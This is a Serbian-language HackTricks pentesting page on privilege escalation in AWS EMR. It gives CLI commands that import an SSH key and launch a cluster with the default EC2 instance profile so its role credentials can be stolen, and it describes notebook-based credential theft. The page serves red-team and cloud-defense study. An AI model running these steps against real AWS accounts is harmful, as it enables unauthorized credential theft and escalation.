AWS - EMR Privesc

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

EMR

Više informacija o EMR-u u:

pageAWS - EMR Enum

iam:PassRole, elasticmapreduce:RunJobFlow

Napadač sa ovim dozvolama može pokrenuti novi EMR klaster povezivanjem EC2 uloga i pokušati da ukrade njegove akreditive. Imajte na umu da biste za ovo trebali znati neki ssh privatni ključ uvezen u nalog ili uvesti jedan, i biti u mogućnosti da otvorite port 22 na glavnom čvoru (možda ćete to moći uraditi sa atributima EmrManagedMasterSecurityGroup i/ili ServiceAccessSecurityGroup unutar --ec2-attributes).

# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key


aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc

# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances

Primetite kako je EMR uloga navedena u --service-role, a ec2 uloga je navedena u --ec2-attributes unutar InstanceProfile. Međutim, ova tehnika omogućava samo krađu EC2 uloge (jer ćete se povezati putem ssh), ali ne i EMR IAM uloge.

Potencijalni uticaj: Povećanje privilegija na EC2 uslugu navedenu.

elasticmapreduce:CreateEditor, iam:ListRoles, elasticmapreduce:ListClusters, iam:PassRole, elasticmapreduce:DescribeEditor, elasticmapreduce:OpenEditorInConsole

Sa ovim dozvolama napadač može otići na AWS konzolu, kreirati Beležnicu i pristupiti joj kako bi ukrao IAM ulogu.

Čak i ako priložite IAM ulogu instanci beležnice, u mojim testovima sam primetio da sam mogao ukrasti AWS upravljane akreditive, a ne akreditive povezane sa IAM ulogom.

Potencijalni uticaj: Povećanje privilegija na AWS upravljani ARN uloge arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile

elasticmapreduce:OpenEditorInConsole

Samo sa ovom dozvolom napadač će moći pristupiti Jupyter beležnici i ukrasti IAM ulogu koja je s njom povezana. URL beležnice je https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/

Čak i ako priložite IAM ulogu instanci beležnice, u mojim testovima sam primetio da sam mogao ukrasti AWS upravljane akreditive, a ne akreditive povezane sa IAM ulogom.

Potencijalni uticaj: Povećanje privilegija na AWS upravljani ARN uloge arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated